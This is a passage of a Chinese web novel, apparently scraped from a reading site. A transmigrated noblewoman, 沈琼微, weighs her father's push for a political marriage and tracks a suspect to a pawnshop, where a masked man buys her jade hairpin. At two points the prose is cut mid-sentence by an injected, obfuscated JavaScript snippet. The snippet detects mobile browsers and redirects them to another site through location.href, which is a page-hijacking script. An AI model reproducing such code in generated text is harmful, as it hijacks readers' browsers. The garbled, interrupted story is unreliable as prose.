沈烈为长叹一口气,收回视线,弯着眼招呼沈琼微坐到茶室去。 “何浅,爹对不起你,你哥哥那品行性子是万万担不了大任的,爹也老了,没有年轻时那股子天不怕地不怕的锐气了。”说着端起茶桌上的紫砂杯润了润口, 年近五十的老人虽看起来依旧硬朗,但鬓间已是挡不住的白发丛生,此刻他也万分心痛,家族式微,后继无人,竟然已经沦落到要利用一少女的地步,所以面对自己不谙世事的小女儿他迟迟没有脸面开口, 沈琼微偷偷审视着这位当今朝堂上的户部尚书, 怪不得沈正能纵容薛氏欺辱自己妹妹,原来同家不同心啊, 她尚且对朝局局势不大清楚,不过也能看出,沈烈为父子二人并不大和睦,父亲是户部尚书,儿子却去了吏部打工, 怎的?派间谍呢。 沈烈为倒是看起来像是真心实意地悲痛万分,沈琼微适时开口,“爹爹,您有什么难处与何浅说就是了,做儿女的哪儿能不为长辈担忧的。” 沈烈为低下头凝视着杯中一圈圈转着的松萝茶叶,踌躇了半晌才开口,“何浅,爹需要你与旁的世家大族联姻。” “……” 沈琼微没有急着开口, 从223提供的原主相关记忆来看,沈烈为没有和她提过这档子事,甚至在沈琼微还小的时候,就在全家人面前扬言,他女儿以后可以嫁想嫁之人,不必理会为官者之间的联姻争权把戏。 沈琼微也饱读诗书,沈烈为曾经也有暗中助推她为女官的心思,怎的?怎得如今又是另一番说辞了? 沈烈为其实也焦灼万分,沈正的小动作太多了,且他的权力并不在自己户部的手里,但天下谁不知他是自己的儿子,哪怕他不想,沈正在外行事多数人也会照顾他沈烈为的面子,这其实不就是变相纵容沈正的行为。 但…… 到底是亡妻十月怀胎、受尽痛楚所生,他哪里真的忍心与其断绝关系,他只怕到时候若真出了事儿,自己不仅保不住他也保不住偌大一个家族又该当如何啊,九泉之下,无颜以面列祖列宗。 他需要紧密到难以割舍的政治联盟,能在危难时刻举所有人脉关系拉一把沈家的人……起码……最起码能保住何浅的人。 沈烈为不得不将眼光看向沈琼微身上,他原先是动了将沈琼微往上推的心思的,可毕竟是一女子,最高也就只能做到女官了,而如今朝中皇帝就是儿戏,后宫里也只养着几位先皇的妃子,沈琼微就是再怎么往上爬,权力和人脉也是有限的。 眼下最好的法子……就是联姻了。 沈琼微相貌和名声品行在京城绝对是一等一的贵女。 这几年来提亲的人被他明里暗里挡回去了,他没忘当年可是允诺何浅要她自己选个如意夫婿的…… 沈琼微带着试探的心思悠悠开口,“父亲……可是已经有人选了?” 她确实说到沈烈为心坎里了,当今权贵家中有品行尚可的适婚男子不至于折煞了自己小女儿,又有官阶和家族底蕴与自己往上或持平的。 唯有三人----丞相家嫡出的小孙子、吏部尚书之子和…… 算了,那位不提也罢,他还没失心疯,打谁主意也不能打到他头上。 这吏部偷偷扶持沈正搞小动作,如若真是要沈琼微嫁去吏部,那真是昭告天下,沈家与吏部捆绑了。 所以便只有这一人----丞相嫡孙余玉止,如今表面上被丞相塞进自己户部基层历练的户部员外郎。 户部鲜有人知他是当今丞相的孙子,沈烈为其实也是想近水楼台先得月,毕竟以沈家的实力,于余家来说,确实是高攀了。 但他别无他选,只能赌一赌,拿沈琼微和整个家族赌一赌,赌在丞相与夜澜王之间站队丞相,以求取一个亲家的资格。 …… 沈琼微今日坐在京城最大的书茶馆听评书,心里也存了也来听听民间流传信息的心思, 她还在想前几日沈烈为在家里的话,若有所思。 这沈琼微的父亲在这勾心斗角的大瑞朝局中,确实算是光明磊落的人了,奈何世家大族哪个没有政治需求,沈烈为再好,也是官至正二品,政治利益和家族利益总是要高于个人需求的。 沈琼微倒也能理解沈烈为, 她是想不通,这沈正和薛晨菲到底做了何事?让他已经到要卖女儿以求家族无恙的地步。 …… 探春在一旁左顾右盼、战战兢兢的,小姐这几日像完全变了一个人似的,往日小姐最不喜出门了,如今竟拉着她专往这市井热闹处来,有时还会自己不知道跑哪儿去。 沈琼微注意到探春像只受惊的小兔子一样头来回转,被逗乐了,隔着白色的面纱看向她,“怎么了,探春,有人追杀你啊?” “小姐……这儿……不是,不是我们该来的地方,若是被旁人知道了,要损小姐名声的。” 沈琼微初来乍到,并不想因行事张扬、有违规矩受到过多关注, “我知道啊,所以这不是戴着斗笠遮得严严实实的,把心放进肚子里哈,老老实实听书。” 台上的老者,一袭青布长衫洗得有些泛白,却看起来干净整洁。身形清瘦,一头银白的发丝整齐地束在脑后,面上倒是丝毫不见疲态,反倒是神采奕奕。 “列位看官,今儿个咱要说一段妙不可言的缘分。 话说那日的上元节,咱们京城中是张灯结彩、热闹非凡啊,当今我朝第一风流美男子……” 台下有人大喊,“夜澜王!” 众人哄堂大笑。 “哎嘿,就是这夜澜王,当日与从江南来的商户小姐,是一见钟情,两人是天雷勾地火……” 那木罕坐在角落里快笑疯了,一手捂着肚子,一手拍梁砚的后背,“哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈,没想到你的话本子在民间这般受欢迎啊,放在我们过来之前,高低是个人气爱豆啊。” 梁砚今日出来与他是有正事商量,虽然知道民间一直对他塑造的风流形象深信不疑,但他今日还是第一次撞见关于自己的说书。 他带着面具,那木罕看不清他的神色,“哪个商户小姐啊,我可要好好瞧瞧,我要跟沈南姐姐告状!” 梁砚懒得搭理他,“以你现今年岁,好意思叫人家姐姐。” 说者无心,听者有意, 那木罕瞬间耷拉下头来,“我第一次见到深南姐姐可是才十四岁呢。” 两人陷入一阵长久的沉默, “得了,别愁眉苦脸,人不是回来了嘛。”梁砚拍了拍他的脑袋。 “不过,洵舟,你说她当真能站在我们这边?我……我是害怕,她已经出去过一次了……” 梁砚知道他话外的意思,却还是斩钉截铁地说,“她不会的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15180689|165249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 混迹于窗边坐着的沈琼微兴致勃勃地听夜澜王和那传说中惊艳绝伦、小家碧玉的商户女的爱情故事, 探春忍不住问,“小姐,您最近爱上这话本子了吗?需不需要我去集市上买上几本供您回家看?” 沈琼微倒不是真的爱听这夜澜王的风流往事,他其实对这些民间传闻不大相信,今日来这儿是因为以她现在的身份,接触夜澜王实在不易,只得流连市井,了解一下大瑞朝朝代风貌,也方便她往后更好行事, 还有就是, 昨日…… 沈琼微从屋内出来后,发现沈烈为迟迟坐在原地并未动弹,她也并未多说什么,抬脚往自己的院子里走, 途经沈正一家的院子与自己院子交接的连廊处,她远远听见有人声,侧身躲在落雪的石像后挡住自己, 是薛晨菲和一个身着深蓝粗布,下人模样的中年男人,沈琼微离得远看不清他的长相, 只见穿着华贵的妇人小心地张望一番,把手中不知是帕子还是别的什么东西递给男人,那人行了个礼就匆匆离开了,薛晨菲拍了拍身上不存在的灰尘,往自己的院落走。 ? 薛晨菲这样子可不像在做什么见得了人的事? 偷情吗?有意思,但那人的打扮像平民,她可不信自己这嫂嫂如此置钱财于不顾,还是个隐藏的纯爱战士呢。 想起刚才沈烈为的话,她决定先查查沈正夫妇,说不定有意外发现呢,凡事都是拔出萝卜带出泥的。 沈琼微端起面前的热茶轻抿了一口,台上夜澜王和商户女的故事也接近尾声了, 老先生收起折扇,往面前的台桌上一打,发出清脆一声响,“只见那商户女随父亲的船队而去,心中暗自发誓此生不会再来京城这个伤心是非之地。” 台下唏嘘,一七尺男儿像是魔怔了,竟嚎啕大哭起来,“夜澜王这个负心汉!” 梁砚没什么反应,依旧窝在靠椅里,一旁的那木罕卖力鼓掌,“讲得好!”说着还往说书先生身边的台桌上准确无误扔上几两碎银, “你跟商户女的故事真是令人潸然泪下啊。”他转头笑嘻嘻对着梁砚道, “滚。”他把桌上的一个梨子扔到那木罕怀里,“别给我忘了正事。” 那木罕瞬间正色,连坐姿都规矩了些,低声附在梁砚耳边,“我已派人去典当店刺探了,不过……”他愣了一下犹豫要不要说接下来的话, “说,别婆婆妈妈。” “我们当真要在其中推波助澜?我的意思时,我们……当真要管这个世界的死活吗?” 梁砚看着屋内人头攒动, 这是京城的冬季最有市井气儿的地方,每到初雪之际,平民百姓便喜欢来这地方点上一壶不算好的热茶,喧闹着度过一下午。 他来回摸着手中的茶杯边缘,没有说话, 长久的沉默后,梁砚将手中的凉茶一饮而尽,“我们这些人已经将这个世界扰乱了,总要尽力把它拖回正轨上,退一万步讲,你就没想过……万一我们出不去呢?乱世对我们没有一点好处。” 那木罕呆楞住了,他以为沈南回来一切都会好起来的…… 梁砚伸手抽出他用来摆架子的折扇,敲了一下他的头,“得了,开你玩笑的,别放心上,先做好我们手头的事,别想那么多。” “……” “嗯。” 6.Chapter6 沈琼微看天色已晚,茶馆里聚集的人正在慢慢散去,说书先生坐在椅子上笑呵呵地店里伙计聊天,她心想今日大概是等不到想等的人了。 探春从外面跑过来,把怀里抱着的三五本薄薄的话本子给沈琼微看,她看到封面上明晃晃几个大字,“夜澜王之风流二三事” 忍不住眉心直跳, 这就是现代标题党的前身吗? “走吧,回府去。”沈琼微招招手让探春跟上, “是,小姐。” 沈琼微抬脚往茶馆门口走,走到茶馆大门时,探春疑惑地扭头看,沈琼微注意到她的反常,“怎么了?” “没事,小姐,就是刚才那位女子身上的香味儿与少奶奶定制的香囊味道好像。探春一时晃了神,以为是少奶奶呢。” 薛氏? “这香囊味道有什么特别的吗?” 探春挠挠头,“倒也没什么特别的,就是听府里下人说过,少奶奶的香囊是专门的香料铺子定制的,探春也从没在别人那儿闻到过,所以印象深刻了些。” 沈琼微在面纱下轻轻勾起唇角,得来全不费工夫。 前几日她偷摸着跟踪那与薛氏会面的男子,看他拐进这家茶馆就消失了,这几日在这里蹲守也再没见过他,本来以为这条线要断了呢。 “你可帮了我大忙了。”沈琼微伸出葱白的手指捏了捏探春的脸,“走吧,跟上那女子。” 探春带着个大红脸,低着头跟沈琼微掉头,全然不问她为何做如此反常之事。 沈琼微借着熙攘人群的遮挡,不远不近地缀在那穿宝蓝色妆花褙子的妇人身后,只见那妇人并未绕很远的路,出了茶馆的另一个门就拐进了路边的一家典当铺, 沈琼微看着这家不大也并不起眼的典当铺,难道是她想错了?当真就只是凑巧吗? 她摘下自己头上的白玉簪子,不管了,是与不是,先进去看看再说。 探春在后面追着她着急,“小姐,小姐,咱们府没穷到要卖首饰的地步啊!” …… 进入店内,映入眼帘的是一面柜台,柜台后站着一位穿着长衫,戴着瓜皮帽打盹的伙计。 大厅里没有放什么旁的东西,倒是与大厅一扇屏风之隔的后面,影影绰绰能看到几排摆放贵重东西的柜子。 伙计睁开眼,上下打量沈琼微二人,看她们穿得并不华贵,反而素雅简约,便出言敷衍,“典当东西来这里。” “屏风里的物件卖吗?” 伙计不屑地笑了笑,“后面东西都得花大价钱,你们买不起。” 探春伸出头恼怒道,“你怎么……” 沈琼微拦下她,对伙计说,“那你帮我看看这只白玉簪子吧。” 伙计接过那只白玉簪子,本来半眯着的眼睛猛地瞪大,他道行不深,但也能看出来,这只白玉簪,玉质上乘,触手升温,绝非凡物。 他抬头看了看沈琼微,赶忙换了一副嘴脸,低头躬身,“小姐,恕在下眼拙,这簪子绝非普通人能撑得起来的,我这就叫掌柜的来给您估价。” 探春看那伙计钻进屏风里面,看不见了身影,才愤愤在沈琼微耳边道,“小姐,那人就是狗眼看人低。” “不用管他。”沈琼微盯着他消失的方向若有所思,怎的那妇人进了这里就消失了?难不成不是顾客,是主人家的? “可是小姐,那可是老爷从宫中给您带出来的簪子,全京城都超不过五支的。” 她说怎么那伙计前后跟换了一个人似的。 沈琼微像是突然想起什么似的,转头看向探春,哎呦,忘了这事儿了。 “探春,你去门口守着,先别过来。”沈琼微吩咐道, 她虽不解,也还是向沈琼微行过礼后先出门候着了。 沈琼微自己戴了面罩,可探春没戴,若这儿真有人与薛晨菲有勾连,万一将她们认出来了可怎么办。 片刻后,伙计带着他口中的掌柜回来了。 伙计丝毫没有注意到探春不见了,可能也是并不在乎这些细节。 掌柜的是一个身材不算高大的中年男人,胡须修剪地整整齐齐,微微下倾的帽檐遮挡住额头,双眼中透露着商人特有的精明与锐利。 “小姐。”掌柜向沈琼微作揖。 沈琼微注意到他走过来的姿势有点怪,是个不太明显的坡脚。 坡脚? …… 对上了! 沈琼微暗自欣喜。 那日, 沈琼微跟到茶馆把人跟丢后,就回来了,沈府门前日常并无太多人经过,且前几日下过大雪,门前尚有积雪,所以她注意到除了自己的脚印,只有一串刚才那男子的脚印。 而那串脚印是一深一浅的! 当时她并没有放在心上,是了,她早该想到了。 那男子就是面前这个坡脚掌柜! 不过薛晨菲干什么与一典当行老板纠缠,而且,此人与那日见到他的装扮完全不一样,像是换了个人。 不仅是装扮,就连动作、神态都大相径庭。一般人哪怕看清当日他的容貌也很难跟他现在这幅样子联想起来。 有意思,什么见不得人的勾当,值得伪装地这样谨慎。 王皓出来后也在偷偷观察眼前的女子, 刚才伙计冒冒失失把他喊起来,说好似来了个大主顾。 此刻看到伙计口中的“大客户”不免有些心生失望,她一看就是个十指不沾阳春水的小姐,这种官家小姐都不缺银两,不当家也不知柴米油盐贵,很少真的会来典当自己的首饰。 但他还是恭恭敬敬询问沈琼微,“小姐,您当真要典当这只白玉簪子,这可是有市无价的稀罕玩意儿。” 沈琼微确实没想真的把这簪子典当出去,只是手头暂时没别的东西引老板出来, 她故作为难,“当家的,屏风后面的奇珍异宝可否供人出价啊?” 王皓眼珠子一转,心生一计,“小姐,那里面东西是得在咱家典当过东西才能出价的,您理解理解,咱们这都小本生意,也得把您这种贵人给筛选出来不是,哪能什么人都能出价的,不过您放心,里面的东西保准不比您的簪子差劲儿,都是宝贝!” 沈琼微看旁边的伙计欲言又止的便秘模样,就知道这精明东西保准骗她什么了,不过她这会儿确实不大能看出不对劲儿的地方,只得顺着他的话走,“那我便把这白玉簪当了,老板看可好?” “王某也不忍心看小姐忍痛割爱,小姐改日拿别的东西来当也是可以的。” “不必。给价吧。” 王皓一听这话嘴都忍不住要咧到耳根了,又坑到一个,他伸手比出一个数字, 旁边的伙计心中暗暗咂舌,掌柜的还是这么黑,这样的簪子给这个数真是糊弄要饭的了。 谁知沈琼微看都不带看的就点头同意,给王皓快乐疯了,这年头这样亏钱不眨眼的主顾哪里找?他本意是故意将价给的如此低,想着还要还价一番,谁知如此顺畅。 沈琼微倒不是很在意,这簪子她有的是办法拿回来,此刻只是想探探里面的空间,看有什么别的发现。 “如此好的簪子,掌柜的可是睁着眼胡乱给价啊。”门外传来一道慵懒讥笑的男声, 只见梁砚戴着面具踏进门内,身后跟着那木罕, 梁砚背着手将脸贴近沈琼微,笑意盈盈,“姑娘,可知自己亏大发了?” 沈琼微自然知道,但这人又是哪里冒出来的? 沈琼微隔着面纱看不真切,只隐隐约约看得出来,对面的男子戴着羊脂玉面具,眉眼处,以极细的金缕勾勒了几笔,金丝蜿蜒,恰似天边流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15187908|165249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云。 不过…… 这人也忒没有礼貌,脸都快挨上她的面纱了。 沈琼微不着痕迹往后退了退。 那木罕在两人身后张大嘴巴,他盯着梁砚仅漏出来的双眼中快溢出来的笑意和柔情,原来话本子是真的! 王皓在心里咒骂这男子,好端端的干什要来插一脚! 不过看两人的气质和装扮,不出意外还是京城哪家的贵人,他是万万不敢冲撞的,只得低眉顺眼,“公子何出此言,小姐今日在我这儿成了交易,那还是交了个朋友,往后在王某这儿购些稀奇玩意儿自然是价格实惠无比。” 沈琼微心道,谁要跟你交朋友? 梁砚不再继续调戏沈琼微,转而想要接过王皓手中的白玉簪,王皓往后退一步,陪笑道,“公子,您又不是簪子主人,莫怪王某一介生意人,考虑的多,这我店内东西自然是不能轻易交与公子手中的。” “那我出这个价买下可好?”梁砚比出王皓收此簪的数字, 王皓不屑,搞什么,半天是个妄想捡漏来的,“那自然……” “加个零的。”梁砚补充道, 王皓立马调整话头,“那自然是可行的,公子。” 其实当着卖主的面卖出如此高价属实不妥,但梁砚给的这个价格,他就是把这簪子放上半年也卖不出这个价。今儿个运气是真好,一碰碰见两个冤大头。 那木罕在后面冷笑,梁砚还说自己心里只有沈南姐姐,油嘴滑舌! 沈琼微诧异地望向他,这人有钱当纸花啊?莫名其妙。 “我这就让人帮您把簪子包起来。”王皓见钱眼开,这会儿看这两人像看财神爷一样欣喜万分。 沈琼微不想理会他们之间的交易,不过这簪子若是卖出去了,她要想往回拿确实是要费点功夫了。 思及此,她对身边的男子更生幽怨,隔着面纱狠狠瞪他。 梁砚感觉到她在看自己,微微低身点头示意。 “掌柜的,现在我能去看后面物什了吗?”沈琼微声音冷冷道, “自然是能,小姐请。”王皓亲自把屏风拉开, 梁砚跟在二人身后,“掌柜的,我能看吗?” 王皓一拍手,“哎呦我的财神爷,别折煞我了,您当然能进了,看上什么物什跟我说,我给您打折。” 沈琼微白眼快翻上天了,他刚才对自己怎的不是这番说辞。 三人进到里间,成排的柜子被隔开,每件器物都被精心供在单独的格子里, 甜白瓷、金箭壶、嵌宝石金饰、景泰蓝、宣德炉、大家书画…… 这王皓虽做生意不实在,但这供着的确实都是好东西, 沈琼微沿着柜子一排排端详,身后却总是跟着一串脚步声,忍无可忍,她回过头,却差点儿撞到那面具男子的身上, “小姐,当心呀。”梁砚伸出手扶住沈琼微的胳膊, 这人怎的如此奇怪?古代也有自来熟? “公子越界了吧。”沈琼微想看看这人到底想干什么, 梁砚举起双手,“小姐息怒,在下只是想随你看看这奇珍异宝罢了,一个人看未必太过无趣不是吗?” 沈琼微本想回怼,想到自己的簪子还在这人手中,忍着怒火放轻声音,“那公子觉得这儿的东西如何啊?” 梁砚盯着玻璃柜中的一盏流玉烛台,“东西好是好,但并非民间能轻易流传之物啊,姑娘觉得呢?” 沈琼微对这些物什了解并不清楚,属实看不出什么端倪, “那公子觉得这东西都是从哪儿流传出来的呢?”沈琼微追问。 “小姐,您觉得是哪儿就是了。”梁砚没有把话说明白, 沈琼微看向身侧明显气度不凡的男子,若有所思,这人到底是什么身份?今日当真是偶遇?